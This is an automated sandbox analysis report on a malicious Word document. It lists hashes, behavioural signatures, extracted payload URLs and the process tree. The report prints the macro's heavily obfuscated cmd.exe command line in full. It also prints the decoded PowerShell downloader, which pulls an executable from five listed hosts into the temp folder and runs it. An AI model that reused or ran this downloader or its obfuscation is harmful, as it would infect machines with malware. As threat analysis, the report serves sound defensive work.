Analysis
-
max time kernel
26s -
max time network
26s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
19-05-2021 08:14
Static task
static1
Behavioral task
behavioral1
Sample
9eb5ebf4950818df9294072543535ab5bf97a9af906b2c14909a7c79445250cf.doc
Resource
win10v20210410
General
-
Target
9eb5ebf4950818df9294072543535ab5bf97a9af906b2c14909a7c79445250cf.doc
-
Size
173KB
-
MD5
b591371308b94b1ca5545841fb64fbd7
-
SHA1
424d456e7e8a09a1cddb821b8f7eeb9b0dc3effb
-
SHA256
9eb5ebf4950818df9294072543535ab5bf97a9af906b2c14909a7c79445250cf
-
SHA512
ff0d0e352d05232c62642e576cc9e14e05630dfc59bff0b7c08399a108ced404824a76150561a1eb61ae28d856bcc6d46bb9848ad8497d6fb68778b7ac15f0e0
Malware Config
Extracted
http://suidi.com/IdWaI
http://spprospekt.com.br/WCH
http://sportpony.ch/R1c
http://regenerationcongo.com/imiK6
http://procoach.jp/newfolde_r/Q8G8Tdg
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
Cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3844 508 Cmd.exe WINWORD.EXE -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 22 1096 powershell.exe 24 1096 powershell.exe 26 1096 powershell.exe 28 1096 powershell.exe 34 1096 powershell.exe 36 1096 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
Processes:
Cmd.execmd.exepid process 3844 Cmd.exe 1540 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 508 WINWORD.EXE 508 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1096 powershell.exe 1096 powershell.exe 1096 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1096 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WINWORD.EXECmd.execmd.execmd.exedescription pid process target process PID 508 wrote to memory of 3844 508 WINWORD.EXE Cmd.exe PID 508 wrote to memory of 3844 508 WINWORD.EXE Cmd.exe PID 3844 wrote to memory of 364 3844 Cmd.exe cmd.exe PID 3844 wrote to memory of 364 3844 Cmd.exe cmd.exe PID 364 wrote to memory of 752 364 cmd.exe cmd.exe PID 364 wrote to memory of 752 364 cmd.exe cmd.exe PID 364 wrote to memory of 1100 364 cmd.exe findstr.exe PID 364 wrote to memory of 1100 364 cmd.exe findstr.exe PID 3844 wrote to memory of 1540 3844 Cmd.exe cmd.exe PID 3844 wrote to memory of 1540 3844 Cmd.exe cmd.exe PID 1540 wrote to memory of 1096 1540 cmd.exe powershell.exe PID 1540 wrote to memory of 1096 1540 cmd.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9eb5ebf4950818df9294072543535ab5bf97a9af906b2c14909a7c79445250cf.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:508 -
C:\Windows\SYSTEM32\Cmd.exeCmd GiQDdTHaPI nGizLTPVjqlRLwmZQpP dXjEhXS & %co^m^S^p^E^c% /c ^f^o^R , , ; /^f , , , , ; ; , " tokens= +2 delims=FpH" ; ; , ; , ; %^E , ; ; ; ; ; , ^in ; ; , , , , ; ( , , , ' , ; , ; ; ^^f^^t^^Y^^pe ; , , ^| , ; , , ; ; , ^^f^^Inds^^T^^r ; , , , , ^^C^^m ' , , , , , ) ; , ; ^D^O ; ; , %^E; ; , , t1lrs3^/^V)^U^0^M^a^;^1E^ ^ ^ ^ ; ; , , ; , MTDyP3pqrW/^C " ; , ; ; ; , ( , ( , , , , , ( , ( , (^S^ET ^ ^ ^ ^ }^ ^ =^Z^3^m^[e^ '^R^F^e^q ^j^t^U^)^e ^`^$%^F ^ +^h^0^]^e ^_^{7^h^f ^I#^<^O^Z^ ^-z^{q^1^ ^e^{N^i^k^ n^V^jiu n^dRo^y^ ^P^l^T^o^` ^8Ax^&^d^ ^YI^m^5^u ^=%^M^>^;^ Al^}X^r ^K^/-QG ^D^-^c^H4^}^z^_^-^a^5^}^:^c[w^A{^>7Bd^wh^4^Qcr^y^c}^k^{q^otO^=^Q#^za\^;^$w^.c#^?^m^Ke}^-^#PB^&;\~^V_l^k^k^O^J^.^s^a^a^Y^8^W^te^*?^K^9^r^r^p?^\^)^a^b^gO}^u6^;^|M^h*^K^i^A^>^0u^D^q^=^1^s^#^o^j^q^k^7^t^y^$^J^Q^Xa^` ^[^10y^\^sov^K^P^O^s^ib^O\^s^e^7^OT^f^hc_a^z^(t^o^+^d;^P^6^r^)^]^0^E2P^q^_be}^-1Z^M^fT^tB7^X^|ar^(^#^<^S5^a^&^A^6^{^:^t^F^<^OJ^g^S^P^V^O^z^};^c^7^S#^e^)^i^?-S^7^i^'1^W^bJ^qn^2_^B^J^j^G^0^>^#^F^$^>^r^.^M,^ ^8Q^0^X^d,%^mK^W^|^SI^\^p^L}n^;^SZ^h^-^Up^f^MS^P^$^'^3^Mn^e^(^8^t^Y^p^T^e6^qJ^4^:^l^R^gIW^h^i^\^>b^5^p^F6^w^1^dq^d^\^K^_^Y^E^as^/^K^ ^i^o^E^7^/^]^[l^PN^UL^fn^R:^,^h^e^wn^rP^D^S^o^K^3^Q^Gy^Do^W^$^C^5.^f^I^_#^.^i^-^)^t^j^QS^D^qg^o?^p^|^;C:^.^$z^q2C^L{^q^|^6^ex^y^<^_^.m^G^r^$9^1^ 5^t^/^H^#K^?^{^o^'6^@^Z^)^l^2F^M@z^'K^x^M^eY^b^=~R^0Z^]^-^P^ ^0$^2^v^Miq^ ^,{[^Y^zn^s^Z*^5^yi^9^A^w^o^*^ ^c^9e^&^)^S^J^}^K^-tn^2^.^9^_^&^U^K%^x^-q^$^v^)^[^T^Z^(^K^C^@a6^h'^)^t^~^a^c^4k^_6^&^a^)^+J%Oe^P^L^O=^E^r^A^q^+^,^oo^f^eq^KXf^Q^E^z^B^{^;Jn^Y^sx^'^E^VfnSe^}^5^s^bN^x^R^a^Q^t^&^e^q^b^Z^A^W^.^j^{^~@^h'^b^U^c^x5^+^{^Q^u^5^9^R^m3^/^5p^w^}^8^`^z^m^Ct^,^j^:^5$^v^?^w}^p^+P^gI^V;^'^+q^~^;^5\^d?^.^JN^'Iv^G^T^)^+^v^W^-^y^T^p{^Q7^u-m^zl^PU^=^e^H^wRg^c^t^$L^1^A^s^:^~^zJ^_^Bv^<^Fb^4^fn^=H^M^e^)^e^A^4z^d $^G^X^d`^(^=^|^Q^H^o^(^i,^G^~^:^M^qGC^'^F^A^j^}^k^#^D^:$^f^h^.^Jy^;^`^R^P$^_^'^{^3^\^,P^23^[^G^(^D^2^P^OW^'G^3'^X^x^$^h'^T^;^F^]^6 ^q^K^w^0m^=^Y^~^A^Z^M ^M^I^`1^B^RD^@^f^#^2w^/j^*$^cC^J^rW^D^I^$^+^q^@^r^>^;^5^\^(E^i^)6^Q%^3^B^'^*^'^3T^|@^E^1^W^F^/'^dY^M^W^$^(^=^G^U#^0^t^c^m^j^V.iM8^Vt^0^l^HW^2^q^}p^I^W^Z^Q^q^S^|^V^>^6^c^.^Bn`W^3'^l^_^&^2^-^gut^S^pBd^[^YT^z^]^T^r^a3@}8^B^2^.^_^-^G^<^Z^z^e^:^8^V^2^#^+lQ^<Y^Qdh^/H^Y^1^b^vr^e#b^A^=^_\^H^zp^re^(^C o+^d^-^,^I]^>^l/^h^;^K^-^o^7^F^K^h^c^f^J^h^l^/^)^wb^_02^Be^R]^z^3^#n^7^.^b^>^w/Z^.^_^}^2p^U^=^L^q^.^j^w^9g^,^[.^;J^6^Xmh^&]N:^~c^B^r^6^w^0^a^s^6^D^k^d^oANp^P^9^c^-@^O^3q^oK~M^?%^r%\w^>^M^p^1^Z^~^6^ ^/E^w^4^?^U^/^@^G^b^$n^:%^8^A^H^o^p^`^+%^~I^t^$'^E^p^2t^|^4^B^Y^ShYg^4@]^@V^L^w^R^)^6^V^Z^}w^v^K^7*^C^|qi^4^dT^t^,^m^=^p^7^|di9^(^z=M^/^>^f0^h`^m^yLP^b^S^o^)^c^,y^Yc^&^s^o-^H^.^U.^|^;J^o^Q-*D4g^U^b^$^|^en^Rr^>^qPo4m^ ^,8c^L^q^R^P^[nb^tN^0E^o^h^]^)H^gi^8^.^)^}^<t^&^4I^K^Ra-h@^A^7^r^)^(7^d^W^e^=^y+^?{n^WD^uV^oeq^i^fjB^g^H^/^U^'d^e^3^8^=^k^>^r^>?x^$Z/^'^JqQ^j^/^l^?^*^~^R^:^G^-^:^.^F^py^L^/^t^+^tN^c^V^Jh^t^|^7^Xx^D^h^,I8^W%^@^{^7^D^d^w^c^z0^F.^g^1^I^0^,^ h^Rx^m^r^E^5^/^'{^M^Q;^h^D^h^r^s^j^c^/^|^}^{^Z^.^3S^&^C^+y^s^o^Si}n^h^D^9?\^o^+^l^53^pp^6Ys^v$t^W^E^/^H^\^r^:^p?^I^~^o^O^c^d/^F^pq^>^,^z^p^s^W1l^P^2^/^'^}^aL^M/'f^Z^6^c^:^73^r4^u^p^:Nn^J^]^t^{^#f^?^F^t^=^a Nb^h^W^8^TwX@8^]^(%d^H^_^I^/;^t^CM^|ZeS^W^r^&^5x^m^/^|oD^A^c^rZ^F^|^`t^b^]^h^m^Z^V^.^(^O^]^Q^Gm^l^V^&I^`^o^X^o^Y^3^'^c^U^u^i\[^.^=-^#4^g^t^{^6^4^a^Z^k^J^F^g^j^a^e ^A^(^&^u^pN^ir^6^ss^ ^mo^?^M^o^9^$^dC^P^r^A8^{^`^,^p^D^st^W^b^p^@^K^X^/^y^s}^(^D^=^)/^pt^7^\^1^/^l^DOf=^:^(^<^A^2s^pRY^D^k^o^t^q^p^7^j^gt^kP^[^7^uh^E^3^k^&^)^@^h^*^9^g^6^I^>^w^A^<%^a^D^]7m^5W^H^'^x;^q^d^Z^D^(^Q^m^IRN_^/^d/^A^V^)f^9^ms^=^W8O^o^<^Z^(^V^{^cS^uP^(^C.^5^|^A^F^ii^.^p^X^8n^d^6k^'^\^Ci^aI^0^.^l^uo^y^l^>^L^s^M^v^&^G ^/^u^8^m^0^\/:^HT^3^f^:^X^3^L^(^]^pS^pQ^q@^tn^{^a^d^q^t^6N^.^_^`h6`^X^j^x^'^x^\C^<I^=^f^Eg^M^W^z^2^A^(^c^@^Y^lnho^E^Z^w^]^a^{^y$^.^\^J^5^_;^x^ ^U-^'^tW^GR^9^Ln^<^w^e%^E^eO%{^}B^i^t^` ^K^*^l^L^;^_2^S^Cs^i^y^D9b^h^-^/^0^e^en^B^@.^A^W^y^<^K^C^h^.w1^a^H^ ^t^4mNLG^e^a^d%$^7N-^X^pH8^ ^4^u^a^l^w^t^Vx^~^Yd^c{n^Y^7^2^ejv^-^d^f^j^HV^=^.^>^b^v^=^)^|^>^o^<9g,$^-^1^&^i^S^A^wC^;^0^L^j^e^(^5^+^bJn^'^:^q^r^i^=^e#^U^p^1ize^J^j^?^Sb^e^S^7^&^p^-^'^,^5_$^+^-^P^J%^ ^LV^w^6^Q^l^ ^]^=^j^m^lWI:^$^>e^5^$^S^)d^h^Uu^I^;^9^sn^T^Z^o^p^r^ ^8qR^G^e^\A^f^&J^w^C^$}^/%^o^W;^v^a^`^p) , , , , , ) , ) , ; , ; , ; , ; , ; , ; , ; , ) , , , , , )& ; ; ; ; ; , , f^o^R ; , ; , ; ; ; /^l ; ; ; , ; %^9 , , ; ; ^iN ; ; , , , ; ( ^ ^ ^+^21^53 ^ ^ ^ ^,^ ^ ^,^ ^ ^ ^ ^,^ ^ ^-^6 ^ ^ ^ ^,^ ^ ^ ^ , ^ ^ ^ ^ ^ ^, ^ ^ ^,^ ^ ^ ^,^ ^ ,^ ^ ^ ^ ^ ^ ^,^ ^ ^ ^ +^5^ ^ ) , ; ; , , ^d^O , ; ; ( , ( , ( , , , , , , , ( , ; , ; , ; , ; , ; , ; , ; , ( , , , , , , , ( , ; , ; , ; , ( ; ; , , , ; S^e^t ^@^ ^ ^ =!^@^ ^ ^ !!}^ ^ :~ %^9, 1!) ) ) ) ) , , ) , , )& , ; , ; ^i^F ; , , , ; , %^9 , ; , , ; , ; , ; , , ^l^Ss , ; , , ^6 ; ; ; ; , ( ; ; ; ; ; ; ( ( , , ( ; ; ; ; ( ; ; ; ; (C^a^l^L ; , ; %^@^ ^ ^ :~^ ^ ^ ^ ^+^6% ) ) ) , , ) ) ; ; ; ) "2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:3844 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ^f^t^Y^pe | ^f^Inds^T^r ^C^m3⤵
- Suspicious use of WriteProcessMemory
PID:364 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ftYpe "4⤵PID:752
-
C:\Windows\system32\findstr.exefIndsTr Cm4⤵PID:1100
-
C:\Windows\system32\cmd.exeCmd ; ; , , t1lrs3/V)U0Ma;1E ; ; , , ; , MTDyP3pqrW/C " ; , ; ; ; , ( , ( , , , , , ( , ( , (^S^ET ^ ^ ^ ^ }^ ^ =^Z^3^m^[e^ '^R^F^e^q ^j^t^U^)^e ^`^$%^F ^ +^h^0^]^e ^_^{7^h^f ^I#^<^O^Z^ ^-z^{q^1^ ^e^{N^i^k^ n^V^jiu n^dRo^y^ ^P^l^T^o^` ^8Ax^&^d^ ^YI^m^5^u ^=%^M^>^;^ Al^}X^r ^K^/-QG ^D^-^c^H4^}^z^_^-^a^5^}^:^c[w^A{^>7Bd^wh^4^Qcr^y^c}^k^{q^otO^=^Q#^za\^;^$w^.c#^?^m^Ke}^-^#PB^&;\~^V_l^k^k^O^J^.^s^a^a^Y^8^W^te^*?^K^9^r^r^p?^\^)^a^b^gO}^u6^;^|M^h*^K^i^A^>^0u^D^q^=^1^s^#^o^j^q^k^7^t^y^$^J^Q^Xa^` ^[^10y^\^sov^K^P^O^s^ib^O\^s^e^7^OT^f^hc_a^z^(t^o^+^d;^P^6^r^)^]^0^E2P^q^_be}^-1Z^M^fT^tB7^X^|ar^(^#^<^S5^a^&^A^6^{^:^t^F^<^OJ^g^S^P^V^O^z^};^c^7^S#^e^)^i^?-S^7^i^'1^W^bJ^qn^2_^B^J^j^G^0^>^#^F^$^>^r^.^M,^ ^8Q^0^X^d,%^mK^W^|^SI^\^p^L}n^;^SZ^h^-^Up^f^MS^P^$^'^3^Mn^e^(^8^t^Y^p^T^e6^qJ^4^:^l^R^gIW^h^i^\^>b^5^p^F6^w^1^dq^d^\^K^_^Y^E^as^/^K^ ^i^o^E^7^/^]^[l^PN^UL^fn^R:^,^h^e^wn^rP^D^S^o^K^3^Q^Gy^Do^W^$^C^5.^f^I^_#^.^i^-^)^t^j^QS^D^qg^o?^p^|^;C:^.^$z^q2C^L{^q^|^6^ex^y^<^_^.m^G^r^$9^1^ 5^t^/^H^#K^?^{^o^'6^@^Z^)^l^2F^M@z^'K^x^M^eY^b^=~R^0Z^]^-^P^ ^0$^2^v^Miq^ ^,{[^Y^zn^s^Z*^5^yi^9^A^w^o^*^ ^c^9e^&^)^S^J^}^K^-tn^2^.^9^_^&^U^K%^x^-q^$^v^)^[^T^Z^(^K^C^@a6^h'^)^t^~^a^c^4k^_6^&^a^)^+J%Oe^P^L^O=^E^r^A^q^+^,^oo^f^eq^KXf^Q^E^z^B^{^;Jn^Y^sx^'^E^VfnSe^}^5^s^bN^x^R^a^Q^t^&^e^q^b^Z^A^W^.^j^{^~@^h'^b^U^c^x5^+^{^Q^u^5^9^R^m3^/^5p^w^}^8^`^z^m^Ct^,^j^:^5$^v^?^w}^p^+P^gI^V;^'^+q^~^;^5\^d?^.^JN^'Iv^G^T^)^+^v^W^-^y^T^p{^Q7^u-m^zl^PU^=^e^H^wRg^c^t^$L^1^A^s^:^~^zJ^_^Bv^<^Fb^4^fn^=H^M^e^)^e^A^4z^d $^G^X^d`^(^=^|^Q^H^o^(^i,^G^~^:^M^qGC^'^F^A^j^}^k^#^D^:$^f^h^.^Jy^;^`^R^P$^_^'^{^3^\^,P^23^[^G^(^D^2^P^OW^'G^3'^X^x^$^h'^T^;^F^]^6 ^q^K^w^0m^=^Y^~^A^Z^M ^M^I^`1^B^RD^@^f^#^2w^/j^*$^cC^J^rW^D^I^$^+^q^@^r^>^;^5^\^(E^i^)6^Q%^3^B^'^*^'^3T^|@^E^1^W^F^/'^dY^M^W^$^(^=^G^U#^0^t^c^m^j^V.iM8^Vt^0^l^HW^2^q^}p^I^W^Z^Q^q^S^|^V^>^6^c^.^Bn`W^3'^l^_^&^2^-^gut^S^pBd^[^YT^z^]^T^r^a3@}8^B^2^.^_^-^G^<^Z^z^e^:^8^V^2^#^+lQ^<Y^Qdh^/H^Y^1^b^vr^e#b^A^=^_\^H^zp^re^(^C o+^d^-^,^I]^>^l/^h^;^K^-^o^7^F^K^h^c^f^J^h^l^/^)^wb^_02^Be^R]^z^3^#n^7^.^b^>^w/Z^.^_^}^2p^U^=^L^q^.^j^w^9g^,^[.^;J^6^Xmh^&]N:^~c^B^r^6^w^0^a^s^6^D^k^d^oANp^P^9^c^-@^O^3q^oK~M^?%^r%\w^>^M^p^1^Z^~^6^ ^/E^w^4^?^U^/^@^G^b^$n^:%^8^A^H^o^p^`^+%^~I^t^$'^E^p^2t^|^4^B^Y^ShYg^4@]^@V^L^w^R^)^6^V^Z^}w^v^K^7*^C^|qi^4^dT^t^,^m^=^p^7^|di9^(^z=M^/^>^f0^h`^m^yLP^b^S^o^)^c^,y^Yc^&^s^o-^H^.^U.^|^;J^o^Q-*D4g^U^b^$^|^en^Rr^>^qPo4m^ ^,8c^L^q^R^P^[nb^tN^0E^o^h^]^)H^gi^8^.^)^}^<t^&^4I^K^Ra-h@^A^7^r^)^(7^d^W^e^=^y+^?{n^WD^uV^oeq^i^fjB^g^H^/^U^'d^e^3^8^=^k^>^r^>?x^$Z/^'^JqQ^j^/^l^?^*^~^R^:^G^-^:^.^F^py^L^/^t^+^tN^c^V^Jh^t^|^7^Xx^D^h^,I8^W%^@^{^7^D^d^w^c^z0^F.^g^1^I^0^,^ h^Rx^m^r^E^5^/^'{^M^Q;^h^D^h^r^s^j^c^/^|^}^{^Z^.^3S^&^C^+y^s^o^Si}n^h^D^9?\^o^+^l^53^pp^6Ys^v$t^W^E^/^H^\^r^:^p?^I^~^o^O^c^d/^F^pq^>^,^z^p^s^W1l^P^2^/^'^}^aL^M/'f^Z^6^c^:^73^r4^u^p^:Nn^J^]^t^{^#f^?^F^t^=^a Nb^h^W^8^TwX@8^]^(%d^H^_^I^/;^t^CM^|ZeS^W^r^&^5x^m^/^|oD^A^c^rZ^F^|^`t^b^]^h^m^Z^V^.^(^O^]^Q^Gm^l^V^&I^`^o^X^o^Y^3^'^c^U^u^i\[^.^=-^#4^g^t^{^6^4^a^Z^k^J^F^g^j^a^e ^A^(^&^u^pN^ir^6^ss^ ^mo^?^M^o^9^$^dC^P^r^A8^{^`^,^p^D^st^W^b^p^@^K^X^/^y^s}^(^D^=^)/^pt^7^\^1^/^l^DOf=^:^(^<^A^2s^pRY^D^k^o^t^q^p^7^j^gt^kP^[^7^uh^E^3^k^&^)^@^h^*^9^g^6^I^>^w^A^<%^a^D^]7m^5W^H^'^x;^q^d^Z^D^(^Q^m^IRN_^/^d/^A^V^)f^9^ms^=^W8O^o^<^Z^(^V^{^cS^uP^(^C.^5^|^A^F^ii^.^p^X^8n^d^6k^'^\^Ci^aI^0^.^l^uo^y^l^>^L^s^M^v^&^G ^/^u^8^m^0^\/:^HT^3^f^:^X^3^L^(^]^pS^pQ^q@^tn^{^a^d^q^t^6N^.^_^`h6`^X^j^x^'^x^\C^<I^=^f^Eg^M^W^z^2^A^(^c^@^Y^lnho^E^Z^w^]^a^{^y$^.^\^J^5^_;^x^ ^U-^'^tW^GR^9^Ln^<^w^e%^E^eO%{^}B^i^t^` ^K^*^l^L^;^_2^S^Cs^i^y^D9b^h^-^/^0^e^en^B^@.^A^W^y^<^K^C^h^.w1^a^H^ ^t^4mNLG^e^a^d%$^7N-^X^pH8^ ^4^u^a^l^w^t^Vx^~^Yd^c{n^Y^7^2^ejv^-^d^f^j^HV^=^.^>^b^v^=^)^|^>^o^<9g,$^-^1^&^i^S^A^wC^;^0^L^j^e^(^5^+^bJn^'^:^q^r^i^=^e#^U^p^1ize^J^j^?^Sb^e^S^7^&^p^-^'^,^5_$^+^-^P^J%^ ^LV^w^6^Q^l^ ^]^=^j^m^lWI:^$^>e^5^$^S^)d^h^Uu^I^;^9^sn^T^Z^o^p^r^ ^8qR^G^e^\A^f^&J^w^C^$}^/%^o^W;^v^a^`^p) , , , , , ) , ) , ; , ; , ; , ; , ; , ; , ; , ) , , , , , )& ; ; ; ; ; , , f^o^R ; , ; , ; ; ; /^l ; ; ; , ; %^9 , , ; ; ^iN ; ; , , , ; ( ^ ^ ^+^21^53 ^ ^ ^ ^,^ ^ ^,^ ^ ^ ^ ^,^ ^ ^-^6 ^ ^ ^ ^,^ ^ ^ ^ , ^ ^ ^ ^ ^ ^, ^ ^ ^,^ ^ ^ ^,^ ^ ,^ ^ ^ ^ ^ ^ ^,^ ^ ^ ^ +^5^ ^ ) , ; ; , , ^d^O , ; ; ( , ( , ( , , , , , , , ( , ; , ; , ; , ; , ; , ; , ; , ( , , , , , , , ( , ; , ; , ; , ( ; ; , , , ; S^e^t ^@^ ^ ^ =!^@^ ^ ^ !!}^ ^ :~ %^9, 1!) ) ) ) ) , , ) , , )& , ; , ; ^i^F ; , , , ; , %^9 , ; , , ; , ; , ; , , ^l^Ss , ; , , ^6 ; ; ; ; , ( ; ; ; ; ; ; ( ( , , ( ; ; ; ; ( ; ; ; ; (C^a^l^L ; , ; %^@^ ^ ^ :~^ ^ ^ ^ ^+^6% ) ) ) , , ) ) ; ; ; ) "3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $pSi=new-object Net.WebClient;$ZYz='http://suidi.com/IdWaI@http://spprospekt.com.br/WCH@http://sportpony.ch/R1c@http://regenerationcongo.com/imiK6@http://procoach.jp/newfolde_r/Q8G8Tdg'.Split('@');$CwR = '322';$jqi=$env:temp+'\'+$CwR+'.exe';foreach($UnS in $ZYz){try{$pSi.DownloadFile($UnS, $jqi);Start-Process $jqi;break;}catch{}}4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1096